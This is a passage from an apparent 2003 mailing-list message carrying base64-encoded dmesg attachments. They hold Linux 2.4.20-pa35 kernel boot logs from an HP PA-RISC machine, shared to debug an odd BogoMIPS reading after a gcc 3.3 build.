aGFzaCB0YWJsZSBvZiA4MTkyIGJ1Y2tldHMsIDY0S2J5dGVzDQpNYXkgMjYg
MTY6MjU6NDIgYmVhc3Qga2VybmVsOiBUQ1A6IEhhc2ggdGFibGVzIGNvbmZp
Z3VyZWQgKGVzdGFibGlzaGVkIDI2MjE0NCBiaW5kIDY1NTM2KQ0KTWF5IDI2
IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogTGludXggSVAgbXVsdGljYXN0IHJv
dXRlciAwLjA2IHBsdXMgUElNLVNNDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qg
a2VybmVsOiBORVQ0OiBVbml4IGRvbWFpbiBzb2NrZXRzIDEuMC9TTVAgZm9y
IExpbnV4IE5FVDQuMC4NCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6
IE5FVDQ6IEV0aGVybmV0IEJyaWRnZSAwMDggZm9yIE5FVDQuMA0KTWF5IDI2
IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogZHM6IG5vIHNvY2tldCBkcml2ZXJz
IGxvYWRlZCENCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IGtqb3Vy
bmFsZCBzdGFydGluZy4gIENvbW1pdCBpbnRlcnZhbCA1IHNlY29uZHMNCk1h
eSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IEVYVDMtZnM6IG1vdW50ZWQg
ZmlsZXN5c3RlbSB3aXRoIG9yZGVyZWQgZGF0YSBtb2RlLg0KTWF5IDI2IDE2
OjI1OjQyIGJlYXN0IGtlcm5lbDogVkZTOiBNb3VudGVkIHJvb3QgKGV4dDMg
ZmlsZXN5c3RlbSkgcmVhZG9ubHkuDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qg
a2VybmVsOiBGcmVlaW5nIHVudXNlZCBrZXJuZWwgbWVtb3J5OiAyMDlrIGZy
ZWVkDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2VybmVsOiBBZGRpbmcgU3dh
cDogNDk5NzA0ayBzd2FwLXNwYWNlIChwcmlvcml0eSAtMSkNCk1heSAyNiAx
NjoyNTo0MiBiZWFzdCBrZXJuZWw6IEVYVDMgRlMgMi40LTAuOS4xOSwgMTkg
QXVndXN0IDIwMDIgb24gc2QoOCw0KSwgaW50ZXJuYWwgam91cm5hbA0KTWF5
IDI2IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogTGFzaSBIYXJtb255IEF1ZGlv
IGRyaXZlciBWMC45YSwgaC93IGlkIDIwLCByZXYuIDE4IGF0IDB4ZmZkMDQw
MDAsIElSUSA4Mg0KTWF5IDI2IDE2OjI1OjQyIGJlYXN0IGtlcm5lbDogSW5p
dGlhbGl6aW5nIFVTQiBNYXNzIFN0b3JhZ2UgZHJpdmVyLi4uDQpNYXkgMjYg
MTY6MjU6NDIgYmVhc3Qga2VybmVsOiB1c2IuYzogcmVnaXN0ZXJlZCBuZXcg
ZHJpdmVyIHVzYi1zdG9yYWdlDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qga2Vy
bmVsOiBVU0IgTWFzcyBTdG9yYWdlIHN1cHBvcnQgcmVnaXN0ZXJlZC4NCk1h
eSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IEVYVDItZnMgd2FybmluZyAo
ZGV2aWNlIHNkKDgsMikpOiBleHQyX3JlYWRfc3VwZXI6IG1vdW50aW5nIGV4
dDMgZmlsZXN5c3RlbSBhcyBleHQyDQpNYXkgMjYgMTY6MjU6NDIgYmVhc3Qg
a2VybmVsOiANCk1heSAyNiAxNjoyNTo0MiBiZWFzdCBrZXJuZWw6IGV0aDA6
IFNldHRpbmcgZnVsbC1kdXBsZXggYmFzZWQgb24gTUlJIzEgbGluayBwYXJ0
bmVyIGNhcGFiaWxpdHkgb2YgNDFlMS4NCk1heSAyNiAxNjoyNTo1NiBiZWFz
dCBrZXJuZWw6IGlwX2Nvbm50cmFjayB2ZXJzaW9uIDIuMSAoODA3NCBidWNr
ZXRzLCA2NDU5MiBtYXgpIC0gMjkyIGJ5dGVzIHBlciBjb25udHJhY2sNCk1h
eSAyNiAxNjoyNTo1NyBiZWFzdCBrZXJuZWw6IGlwX3RhYmxlczogKEMpIDIw
MDAtMjAwMiBOZXRmaWx0ZXIgY29yZSB0ZWFtDQo=
---275789367-697751768-1054751628=:12360
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=dmesg2
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0306041933481.12360@sal.ucc.ie>
Content-Description: dmesg of working -pa35 but with weird bogomips (gcc-3.3pre)
Content-Disposition: attachment; filename=dmesg2

TWF5IDEwIDEwOjE3OjQxIGJlYXN0IHN5c2xvZ2QgMS40LjEjMTE6IHJlc3Rh
cnQuDQpNYXkgMTAgMTA6MTc6NDIgYmVhc3Qga2VybmVsOiBrbG9nZCAxLjQu
MSMxMSwgbG9nIHNvdXJjZSA9IC9wcm9jL2ttc2cgc3RhcnRlZC4NCk1heSAx
MCAxMDoxNzo0MiBiZWFzdCBrZXJuZWw6IEluc3BlY3RpbmcgL2Jvb3QvU3lz
dGVtLm1hcC0yLjQuMjAtcGEzNQ0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtl
cm5lbDogTG9hZGVkIDE2NTExIHN5bWJvbHMgZnJvbSAvYm9vdC9TeXN0ZW0u
bWFwLTIuNC4yMC1wYTM1Lg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5l
bDogU3ltYm9scyBtYXRjaCBrZXJuZWwgdmVyc2lvbiAyLjQuMjAuDQpNYXkg
MTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBMb2FkZWQgMyBzeW1ib2xzIGZy
b20gMSBtb2R1bGUuDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBM
aW51eCB2ZXJzaW9uIDIuNC4yMC1wYTM1IChyb290QGJlYXN0LnVjYy5pZSkg
KGdjYyB2ZXJzaW9uIDMuMyAyMDAzMDQxNSAoRGViaWFuIHByZXJlbGVhc2Up
KSAjNyBTYXQgTWF5IDEwIDEwOjA0OjQ5IElTVCAyMDAzDQpNYXkgMTAgMTA6
MTc6NDMgYmVhc3Qga2VybmVsOiBGUFswXSBlbmFibGVkOiBSZXYgMCBNb2Rl
bCAxNA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogVGhlIDMyLWJp
dCBLZXJuZWwgaGFzIHN0YXJ0ZWQuLi4NCk1heSAxMCAxMDoxNzo0MyBiZWFz
dCBrZXJuZWw6IERldGVybWluaW5nIFBEQyBmaXJtd2FyZSB0eXBlOiBTeXN0
ZW0gTWFwLg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogbW9kZWwg
MDAwMDU5OTAgMDAwMDA0ODEgMDAwMDAwMDAgMDAwMDAwMDIgNzdmNzU2MzAg
MTAwMDAwZjAgMDAwMDAwMDggMDAwMDAwYjIgMDAwMDAwYjINCk1heSAxMCAx
MDoxNzo0MyBiZWFzdCBrZXJuZWw6IHZlcnMgIDAwMDAwNTAxDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiBDUFVJRCB2ZXJzIDE0IHJldiAyMyAo
MHgwMDAwMDFkNykNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IGNh
cGFiaWxpdGllcyAweDINCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6
IG1vZGVsIDkwMDAvNzgyL0MyNDArDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qg
a2VybmVsOiBUb3RhbCBNZW1vcnk6IDEwMjQgTWINCk1heSAxMCAxMDoxNzo0
MyBiZWFzdCBrZXJuZWw6IHBhZ2V0YWJsZV9pbml0DQpNYXkgMTAgMTA6MTc6
NDMgYmVhc3Qga2VybmVsOiBPbiBub2RlIDAgdG90YWxwYWdlczogMjYyMTQ0
DQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiB6b25lKDApOiAyNjIx
NDQgcGFnZXMuDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiB6b25l
KDEpOiAwIHBhZ2VzLg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDog
em9uZSgyKTogMCBwYWdlcy4NCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJu
ZWw6IExFRCBkaXNwbGF5IGF0IGYwMTkwMDAxIHJlZ2lzdGVyZWQNCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IEtlcm5lbCBjb21tYW5kIGxpbmU6
IHJvb3Q9L2Rldi9zZGE0IEhPTUU9LyBpcD1vZmYgY29uc29sZT10dHlTMCBU
RVJNPXZ0MTAyIHBhbG9fa2VybmVsPTIvdm1saW51eC0yLjQuMjAtcGEzNQ0K
TWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogQ2FsaWJyYXRpbmcgZGVs
YXkgbG9vcC4uLiAwLjgxIEJvZ29NSVBTDQpNYXkgMTAgMTA6MTc6NDMgYmVh
c3Qga2VybmVsOiBNZW1vcnk6IDEwMzM2ODhrIGF2YWlsYWJsZQ0KTWF5IDEw
IDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogRGVudHJ5IGNhY2hlIGhhc2ggdGFi
bGUgZW50cmllczogMTMxMDcyIChvcmRlcjogOCwgMTA0ODU3NiBieXRlcykN
Ck1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IElub2RlIGNhY2hlIGhh
c2ggdGFibGUgZW50cmllczogNjU1MzYgKG9yZGVyOiA3LCA1MjQyODggYnl0
ZXMpDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBNb3VudC1jYWNo
ZSBoYXNoIHRhYmxlIGVudHJpZXM6IDE2Mzg0IChvcmRlcjogNSwgMTMxMDcy
IGJ5dGVzKQ0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogQnVmZmVy
LWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogNjU1MzYgKG9yZGVyOiA2LCAy
NjIxNDQgYnl0ZXMpDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBQ
YWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMjYyMTQ0IChvcmRlcjog
OCwgMTA0ODU3NiBieXRlcykNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJu
ZWw6IFNlYXJjaGluZyBmb3IgZGV2aWNlcy4uLg0KTWF5IDEwIDEwOjE3OjQz
IGJlYXN0IGtlcm5lbDogRm91bmQgZGV2aWNlczoNCk1heSAxMCAxMDoxNzo0
MyBiZWFzdCBrZXJuZWw6IDEuIFUyLUlPQSBCQyBSdW53YXkgUG9ydCAoMTIp
IGF0IDB4ZmZmODgwMDAgWzhdLCB2ZXJzaW9ucyAweDU4MCwgMHhmLCAweGIN
Ck1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IDIuIERpbm8gUENJIEJy
aWRnZSAoMTMpIGF0IDB4ZjIwMDAwMDAgWzgvMF0sIHZlcnNpb25zIDB4Njgw
LCAweDMsIDB4YSwgIGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAweGYyODAwMDAw
IA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogMy4gUmF2ZW4gVS9M
MiBEaW5vIFJTLTIzMiAoMTApIGF0IDB4ZjIwMDMwMDAgWzgvMC82M10sIHZl
cnNpb25zIDB4NiwgMHgwLCAweDhjDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qg
a2VybmVsOiA0LiBSYXZlbiBVL0wyIERpbm8gUFMvMiBQb3J0ICgxMCkgYXQg
MHhmMjAwMTAwMCBbOC8xXSwgdmVyc2lvbnMgMHg2LCAweDAsIDB4OTYNCk1h
eSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IDUuIFJhdmVuKyB3IFNFIEZX
U0NTSSBDb3JlIEJBICgxMSkgYXQgMHhmZmQwMDAwMCBbOC8xNl0sIHZlcnNp
b25zIDB4NTYsIDB4MCwgMHg4MSwgIGFkZGl0aW9uYWwgYWRkcmVzc2VzOiAw
eGZmZDBjMDAwIDB4ZmZjMDAwMDAgDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qg
a2VybmVsOiA2LiBSYXZlbisgdyBTRSBGV1NDU0kgQ29yZSBDZW50cm9uaWNz
ICgxMCkgYXQgMHhmZmQwMjAwMCBbOC8xNi8wXSwgdmVyc2lvbnMgMHg1Niwg
MHgwLCAweDc0LCAgYWRkaXRpb25hbCBhZGRyZXNzZXM6IDB4ZmZkMDEwMDAg
MHhmZmQwMzAwMCANCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IDcu
IFJhdmVuKyB3IFNFIEZXU0NTSSBDb3JlIEF1ZGlvICgxMCkgYXQgMHhmZmQw
NDAwMCBbOC8xNi8xXSwgdmVyc2lvbnMgMHg1NiwgMHg0LCAweDdiDQpNYXkg
MTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiA4LiBSYXZlbisgdyBTRSBGV1ND
U0kgQ29yZSBSUy0yMzIgKDEwKSBhdCAweGZmZDA1MDAwIFs4LzE2LzRdLCB2
ZXJzaW9ucyAweDU2LCAweDAsIDB4OGMNCk1heSAxMCAxMDoxNzo0MyBiZWFz
dCBrZXJuZWw6IDkuIFJhdmVuKyB3IFNFIEZXU0NTSSBDb3JlIFNDU0kgKDEw
KSBhdCAweGZmZDA2MDAwIFs4LzE2LzVdLCB2ZXJzaW9ucyAweDU2LCAweDAs
IDB4ODINCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IDEwLiBSYXZl
bisgdyBTRSBGV1NDU0kgQ29yZSBQUy8yIFBvcnQgKDEwKSBhdCAweGZmZDA4
MDAwIFs4LzE2LzddLCB2ZXJzaW9ucyAweDU2LCAweDAsIDB4ODQNCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IDExLiBSYXZlbisgdyBTRSBGV1ND
U0kgQ29yZSBQUy8yIFBvcnQgKDEwKSBhdCAweGZmZDA4MTAwIFs4LzE2Lzhd
LCB2ZXJzaW9ucyAweDU2LCAweDAsIDB4ODQNCk1heSAxMCAxMDoxNzo0MyBi
ZWFzdCBrZXJuZWw6IDEyLiBVMi1JT0EgQkMgR1NDKyBQb3J0ICg3KSBhdCAw
eGYyMDNmMDAwIFs4LzYzXSwgdmVyc2lvbnMgMHg1MDEsIDB4MSwgMHhjDQpN
YXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiAxMy4gVTItSU9BIEJDIFJ1
bndheSBQb3J0ICgxMikgYXQgMHhmZmY4YTAwMCBbMTBdLCB2ZXJzaW9ucyAw
eDU4MCwgMHhmLCAweGINCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6
IDE0LiBDdWpvIFBDSSBCcmlkZ2UgKDEzKSBhdCAweGYxMDAwMDAwIFsxMC8w
XSwgdmVyc2lvbnMgMHg2ODIsIDB4MSwgMHhhLCAgYWRkaXRpb25hbCBhZGRy
ZXNzZXM6IDB4ZjE4MDAwMDAgMHhmNjAwMDAwMCANCk1heSAxMCAxMDoxNzo0
MyBiZWFzdCBrZXJuZWw6IDE1LiBEaW5vIFJTLTIzMiAoMTApIGF0IDB4ZjEw
MDMwMDAgWzEwLzNdLCB2ZXJzaW9ucyAweDcsIDB4MCwgMHg4Yw0KTWF5IDEw
IDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogMTYuIFUyLUlPQSBCQyBHU0MrIFBv
cnQgKDcpIGF0IDB4ZjEwM2YwMDAgWzEwLzYzXSwgdmVyc2lvbnMgMHg1MDEs
IDB4MSwgMHhjDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiAxNy4g
UmF2ZW4gVSAyNDAgKDkwMDAvNzgwL0MyNDApICgwKSBhdCAweGZmZmEwMDAw
IFszMl0sIHZlcnNpb25zIDB4NTk5LCAweDAsIDB4NA0KTWF5IDEwIDEwOjE3
OjQzIGJlYXN0IGtlcm5lbDogMTguIE1lbW9yeSAoMSkgYXQgMHhmZmZiMTAw
MCBbNDldLCB2ZXJzaW9ucyAweDZmLCAweDAsIDB4OQ0KTWF5IDEwIDEwOjE3
OjQzIGJlYXN0IGtlcm5lbDogQ1BVKHMpOiAxIHggUEE4MjAwIChQQ1gtVSsp
IGF0IDIzNi4wMDAwMDAgTUh6DQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2Vy
bmVsOiBGb3VuZCBVMiBhdCAweGZmZjg4MDAwDQpNYXkgMTAgMTA6MTc6NDMg
YmVhc3Qga2VybmVsOiBGb3VuZCBVMiBhdCAweGZmZjhhMDAwDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiBMYXNpIHZlcnNpb24gMCBhdCAweGZm
ZDAwMDAwIGZvdW5kLg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDog
RGlubyB2ZXJzaW9uIDMuMSBmb3VuZCBhdCAweGYyMDAwMDAwDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiBDdWpvIHZlcnNpb24gMi4wIGZvdW5k
IGF0IDB4ZjEwMDAwMDANCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6
IEVuYWJsaW5nIEN1am8gMi4wIGJ1ZyB3b3JrYXJvdW5kDQpNYXkgMTAgMTA6
MTc6NDMgYmVhc3Qga2VybmVsOiBEb24ndCByZWNvZ25pc2UgQ3VqbyBhdCBh
ZGRyZXNzIDB4ZjEwMDAwMDAsIG5vdCBlbmFibGluZyB3b3JrYXJvdW5kDQpN
YXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBQT1NJWCBjb25mb3JtYW5j
ZSB0ZXN0aW5nIGJ5IFVOSUZJWA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtl
cm5lbDogTGludXggTkVUNC4wIGZvciBMaW51eCAyLjQNCk1heSAxMCAxMDox
Nzo0MyBiZWFzdCBrZXJuZWw6IEJhc2VkIHVwb24gU3dhbnNlYSBVbml2ZXJz
aXR5IENvbXB1dGVyIFNvY2lldHkgTkVUMy4wMzkNCk1heSAxMCAxMDoxNzo0
MyBiZWFzdCBrZXJuZWw6IEluaXRpYWxpemluZyBSVCBuZXRsaW5rIHNvY2tl
dA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogU29mdCBwb3dlciBz
d2l0Y2ggZW5hYmxlZCwgcG9sbGluZyBAIDB4ZjAxNDAwMDAuDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiBTdGFydGluZyBrc3dhcGQNCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IFZGUzogRGlza3F1b3RhcyB2ZXJz
aW9uIGRxdW90XzYuNC4wIGluaXRpYWxpemVkDQpNYXkgMTAgMTA6MTc6NDMg
YmVhc3Qga2VybmVsOiBKb3VybmFsbGVkIEJsb2NrIERldmljZSBkcml2ZXIg
bG9hZGVkDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBwYXJwb3J0
X2luaXRfY2hpcDogaW5pdGlhbGl6ZSBiaWRpcmVjdGlvbmFsLW1vZGUuDQpN
YXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBwYXJwb3J0MDogUEMtc3R5
bGUgYXQgMHhmZmQwMjgwMCwgaXJxIDg4IFtQQ1NQUCxUUklTVEFURV0NCk1h
eSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHB0eTogMjU2IFVuaXg5OCBw
dHlzIGNvbmZpZ3VyZWQNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6
IFNlcmlhbCBkcml2ZXIgdmVyc2lvbiA1LjA1YyAoMjAwMS0wNy0wOCkgd2l0
aCBNQU5ZX1BPUlRTIFNIQVJFX0lSUSBTRVJJQUxfUENJIGVuYWJsZWQNCk1h
eSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHR0eVMwMCBhdCBpb21lbSAw
eGZmZDA1ODAwIChpcnEgPSA5MCkgaXMgYSAxNjU1MEENCk1heSAxMCAxMDox
Nzo0MyBiZWFzdCBrZXJuZWw6IHR0eVMwMSBhdCBpb21lbSAweGYyMDAzODAw
IChpcnEgPSAxMDYpIGlzIGEgMTY1NTBBDQpNYXkgMTAgMTA6MTc6NDMgYmVh
c3Qga2VybmVsOiBscDA6IHVzaW5nIHBhcnBvcnQwIChpbnRlcnJ1cHQtZHJp
dmVuKS4NCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IEdlbmVyaWMg
UlRDIERyaXZlciB2MS4wNw0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5l
bDogTkVUNDogRnJhbWUgRGl2ZXJ0ZXIgMC40Ng0KTWF5IDEwIDEwOjE3OjQz
IGJlYXN0IGtlcm5lbDogbG9vcDogbG9hZGVkIChtYXggOCBkZXZpY2VzKQ0K
TWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogTGludXggVHVsaXAgZHJp
dmVyIHZlcnNpb24gMC45LjE1LXByZTEyIChBdWcgOSwgMjAwMikNCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHR1bGlwMDogbm8gcGh5IGluZm8s
IGFib3J0aW5nIG10YWJsZSBidWlsZA0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0
IGtlcm5lbDogdHVsaXAwOiAgTUlJIHRyYW5zY2VpdmVyICMxIGNvbmZpZyAx
MDAwIHN0YXR1cyA3ODA5IGFkdmVydGlzaW5nIDAxZTEuDQpNYXkgMTAgMTA6
MTc6NDMgYmVhc3Qga2VybmVsOiBldGgwOiBEaWdpdGFsIERTMjExNDMgVHVs
aXAgcmV2IDQ4IGF0IDB4ZjJmZmYwMDAsIDAwOjEwOjgzOjAzOjJDOjFDLCBJ
UlEgOTYuDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBQUFAgZ2Vu
ZXJpYyBkcml2ZXIgdmVyc2lvbiAyLjQuMg0KTWF5IDEwIDEwOjE3OjQzIGJl
YXN0IGtlcm5lbDogUFBQIERlZmxhdGUgQ29tcHJlc3Npb24gbW9kdWxlIHJl
Z2lzdGVyZWQNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IFBQUCBC
U0QgQ29tcHJlc3Npb24gbW9kdWxlIHJlZ2lzdGVyZWQNCk1heSAxMCAxMDox
Nzo0MyBiZWFzdCBrZXJuZWw6IDgxMzl0b28gRmFzdCBFdGhlcm5ldCBkcml2
ZXIgMC45LjI2DQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBldGgx
OiBSZWFsVGVrIFJUTDgxMzkgRmFzdCBFdGhlcm5ldCBhdCAweGYyZmZiMDAw
LCAwMDpjMDoyNjo4YjoyMTpjMCwgSVJRIDk3DQpNYXkgMTAgMTA6MTc6NDMg
YmVhc3Qga2VybmVsOiBVbml2ZXJzYWwgVFVOL1RBUCBkZXZpY2UgZHJpdmVy
IDEuNSAoQykxOTk5LTIwMDIgTWF4aW0gS3Jhc255YW5za3kNCk1heSAxMCAx
MDoxNzo0MyBiZWFzdCBrZXJuZWw6IE9seW1waWMuYyB2MS4wLjUgNi8wNC8w
MiAtIFBldGVyIERlIFNjaHJpanZlciAmIE1pa2UgUGhpbGxpcHMgDQpNYXkg
MTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBJQk0gMTYvNCBUb2tlbiByaW5n
IFVUUC9TVFAgY29udHJvbGxlci4gSS9PIGF0IGZmMDAsIE1NSU8gYXQgZjFm
ZmUwMDAsIExBUCBhdCBmMWZmZjAwMCwgdXNpbmcgaXJxIDEzMA0KTWF5IDEw
IDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogT2x5bXBpYzogSUJNIDE2LzQgVG9r
ZW4gcmluZyBVVFAvU1RQIGNvbnRyb2xsZXIgcmVnaXN0ZXJlZCBhczogdHIw
DQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBTQ1NJIHN1YnN5c3Rl
bSBkcml2ZXIgUmV2aXNpb246IDEuMDANCk1heSAxMCAxMDoxNzo0MyBiZWFz
dCBrZXJuZWw6IDUzYzcwMDogVmVyc2lvbiAyLjggQnkgSmFtZXMuQm90dG9t
bGV5QEhhbnNlblBhcnRuZXJzaGlwLmNvbQ0KTWF5IDEwIDEwOjE3OjQzIGJl
YXN0IGtlcm5lbDogc2NzaTA6IDUzYzcxMCByZXYgMiANCk1heSAxMCAxMDox
Nzo0MyBiZWFzdCBrZXJuZWw6IHNjc2kwIDogTEFTSSBTQ1NJIDUzYzcwMA0K
TWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogICBWZW5kb3I6IEhQICAg
ICAgICBNb2RlbDogQ0QtV3JpdGVyIDYwMjAgICAgUmV2OiAxLjA3DQpNYXkg
MTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiAgIFR5cGU6ICAgQ0QtUk9NICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246
IDAyDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBzY3NpMDogKDY6
MCkgU3luY2hyb25vdXMgYXQgb2Zmc2V0IDgsIHBlcmlvZCAxMDBucw0KTWF5
IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogICBWZW5kb3I6IFNFQUdBVEUg
ICBNb2RlbDogU1QzMTg0MTZOICAgICAgICAgUmV2OiAwMDEwDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiAgIFR5cGU6ICAgRGlyZWN0LUFjY2Vz
cyAgICAgICAgICAgICAgICAgICAgICBBTlNJIFNDU0kgcmV2aXNpb246IDAz
DQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBzY3NpMDogKDY6MSkg
U3luY2hyb25vdXMgYXQgb2Zmc2V0IDgsIHBlcmlvZCAxMDBucw0KTWF5IDEw
IDEwOjE3OjQzIGJlYXN0IGtlcm5lbDogQXR0YWNoZWQgc2NzaSBkaXNrIHNk
YSBhdCBzY3NpMCwgY2hhbm5lbCAwLCBpZCA2LCBsdW4gMA0KTWF5IDEwIDEw
OjE3OjQzIGJlYXN0IGtlcm5lbDogc2NzaTA6ICg2OjApIEVuYWJsaW5nIFRh
ZyBDb21tYW5kIFF1ZXVpbmcNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJu
ZWw6IFNDU0kgZGV2aWNlIHNkYTogMzU4ODUxNjggNTEyLWJ5dGUgaGR3ciBz
ZWN0b3JzICgxODM3MyBNQikNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJu
ZWw6IFBhcnRpdGlvbiBjaGVjazoNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBr
ZXJuZWw6ICBzZGE6IHNkYTEgc2RhMiBzZGEzIHNkYTQNCk1heSAxMCAxMDox
Nzo0MyBiZWFzdCBrZXJuZWw6IHVzYi5jOiByZWdpc3RlcmVkIG5ldyBkcml2
ZXIgdXNiZGV2ZnMNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHVz
Yi5jOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgaHViDQpNYXkgMTAgMTA6MTc6
NDMgYmVhc3Qga2VybmVsOiBJbml0aWFsaXppbmcgVVNCIE1hc3MgU3RvcmFn
ZSBkcml2ZXIuLi4NCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IHVz
Yi5jOiByZWdpc3RlcmVkIG5ldyBkcml2ZXIgdXNiLXN0b3JhZ2UNCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IFVTQiBNYXNzIFN0b3JhZ2Ugc3Vw
cG9ydCByZWdpc3RlcmVkLg0KTWF5IDEwIDEwOjE3OjQzIGJlYXN0IGtlcm5l
bDogTkVUNDogTGludXggVENQL0lQIDEuMCBmb3IgTkVUNC4wDQpNYXkgMTAg
MTA6MTc6NDMgYmVhc3Qga2VybmVsOiBJUCBQcm90b2NvbHM6IElDTVAsIFVE
UCwgVENQLCBJR01QDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBJ
UDogcm91dGluZyBjYWNoZSBoYXNoIHRhYmxlIG9mIDgxOTIgYnVja2V0cywg
NjRLYnl0ZXMNCk1heSAxMCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IFRDUDog
SGFzaCB0YWJsZXMgY29uZmlndXJlZCAoZXN0YWJsaXNoZWQgMjYyMTQ0IGJp
bmQgNjU1MzYpDQpNYXkgMTAgMTA6MTc6NDMgYmVhc3Qga2VybmVsOiBMaW51
eCBJUCBtdWx0aWNhc3Qgcm91dGVyIDAuMDYgcGx1cyBQSU0tU00NCk1heSAx
MCAxMDoxNzo0MyBiZWFzdCBrZXJuZWw6IE5FVDQ6IFVuaXggZG9tYWluIHNv
Y2tldHMgMS4wL1NNUCBmb3IgTGludXggTkVUNC4wLg0KTWF5IDEwIDEwOjE3
OjQzIGJlYXN0IGtlcm5lbDogTkVUNDogRXRoZXJuZXQgQnJpZGdlIDAwOCBm
